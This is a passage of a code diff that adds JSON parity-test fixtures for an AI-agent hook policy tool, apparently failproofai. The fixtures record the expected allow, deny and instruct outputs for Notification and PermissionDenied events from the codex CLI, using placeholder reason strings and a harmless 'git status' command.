"[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..989c0ba7 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Notification/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Notification/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..2f48f4a5 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Notification/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Notification/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..974e40ea --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Notification/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Notification/deny__tool-present__one-policy.json new file mode 100644 index 00000000..32c89264 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Notification/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Notification/deny__tool-present__two-policies.json new file mode 100644 index 00000000..89350068 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Notification/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/Notification/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1182ce68 --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Notification/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/Notification/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..a40bd28c --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/Notification/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/Notification/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f67a6dde --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "codex", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/Notification/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/Notification/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b3fa933a --- /dev/null +++ b/__tests__/parity/fixtures/codex/Notification/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "codex", + "decision_kind": "instruct", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"Notification\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..c5e510df --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..d3688534 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..a80dd085 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..29b7c37f --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-silent", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..59d90ad8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..a3314fae --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9f0fb3eb --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..cccd61d2 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "codex", + "decision_kind": "allow-with-reason", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..e55dc3a8 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..d8aa4977 --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "codex", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "codex", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionDenied", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-present__one-policy.json new file mode 100644 index 00000000..450e31de --- /dev/null +++ b/__tests__/parity/fixtures/codex/PermissionDenied/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "codex", + "decision_kind": "deny", + "event": "PermissionDenied", + "input": { + "event_type": "PermissionDenied", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionDenied", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git 